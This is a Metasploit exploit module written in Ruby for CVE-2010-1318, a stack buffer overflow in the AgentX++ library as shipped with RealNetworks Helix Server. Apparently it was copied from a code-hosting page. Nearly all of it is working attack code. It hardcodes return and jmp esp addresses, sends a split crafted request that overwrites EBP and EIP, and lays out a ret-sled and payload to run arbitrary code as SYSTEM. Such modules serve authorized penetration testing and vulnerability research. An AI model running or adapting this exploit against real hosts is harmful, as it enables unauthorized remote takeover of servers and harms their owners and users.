140 lines
4.1 KiB
Ruby
140 lines
4.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
#include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This exploits a stack buffer overflow in the AgentX++ library, as used by
|
|
various applications. By sending a specially crafted request, an attacker can
|
|
execute arbitrary code, potentially with SYSTEM privileges.
|
|
|
|
This module was tested successfully against master.exe as included with Real
|
|
Network\'s Helix Server v12. When installed as a service with Helix Server,
|
|
the service runs as SYSTEM, has no recovery action, but will start automatically
|
|
on boot.
|
|
|
|
This module does not work with NX/XD enabled but could be modified easily to
|
|
do so. The address
|
|
},
|
|
'Author' => [ 'jduck' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2010-1318' ],
|
|
[ 'OSVDB', '63919'],
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=867' ]
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
#'EXITFUNC' => 'seh',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024, # plenty of space
|
|
'BadChars' => "", # none!
|
|
'DisableNops' => true,
|
|
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Helix Server v12 and v13 - master.exe',
|
|
{
|
|
# The BufAddr varies :-/
|
|
#'BufAddr' => 0xea3800,
|
|
'BufAddr' => 0x1053880,
|
|
'BufSize' => 25000, # If this is too large, the buf is unmapped on free
|
|
'Ret' => 0x46664b, # mov esp,ebp / pop ebp / ret in master.exe
|
|
'JmpEsp' => 0x7c3d55b7 # jmp esp from bundled msvcp71.dll
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 16 2010'))
|
|
|
|
register_options([Opt::RPORT(705)], self.class)
|
|
end
|
|
|
|
def exploit
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
connect
|
|
print_status("Triggering the vulnerability... Cross your fingers!")
|
|
|
|
num = target['BufSize']
|
|
num_str = [num].pack('N')
|
|
|
|
# First send 19 bytes to almost fill the buffer...
|
|
hdr = ''
|
|
hdr << [0x01, rand(256), 0x10 | rand(256), rand(256)].pack('CCCC')
|
|
hdr << rand_text(16 - hdr.length)
|
|
#hdr << "QQQQRRRRSSSS"
|
|
hdr << num_str[0,3]
|
|
sock.put(hdr)
|
|
|
|
# Wait to make sure it processed that chunk.
|
|
select(nil, nil, nil, 0.5)
|
|
#print_status("press enter to trigger..."); x = $stdin.gets
|
|
|
|
# Send the rest (smashed!)
|
|
hdr = ''
|
|
hdr << num_str[3,1]
|
|
|
|
# NOTE: this stuff is extra, but doesn't count towards the payload..
|
|
hdr << rand_text(8)
|
|
#hdr << "EEEEFFFF"
|
|
|
|
# becomes ebp
|
|
#hdr << "\xeb" * 4
|
|
base = target['BufAddr']
|
|
new_ebp = base + (num / 2)
|
|
if (mod4 = (num % 4)) > 0
|
|
# align to 4 bytes
|
|
new_ebp += (4 - mod4)
|
|
end
|
|
hdr << [new_ebp].pack('V')
|
|
|
|
# becomes eip
|
|
#hdr << "\xef\xbe\xad\xde"
|
|
hdr << [target.ret].pack('V')
|
|
|
|
# NOTE: sending more data will smash the low (up to 3) bytes of the socket handle -- no fun
|
|
sock.put(hdr)
|
|
|
|
# Send the data that we said we would...
|
|
stack = []
|
|
stack << target['JmpEsp']
|
|
|
|
num_rets = (num - payload.encoded.length - 4) / 4
|
|
num_rets.times {
|
|
# points to ret instruction
|
|
stack.unshift(target.ret + 3)
|
|
}
|
|
|
|
stack = stack.pack('V*')
|
|
stack << payload.encoded
|
|
# make sure we have all the bytes, or we wont reach the path we want.
|
|
stack << rand_text(num - stack.length)
|
|
|
|
sock.put(stack)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|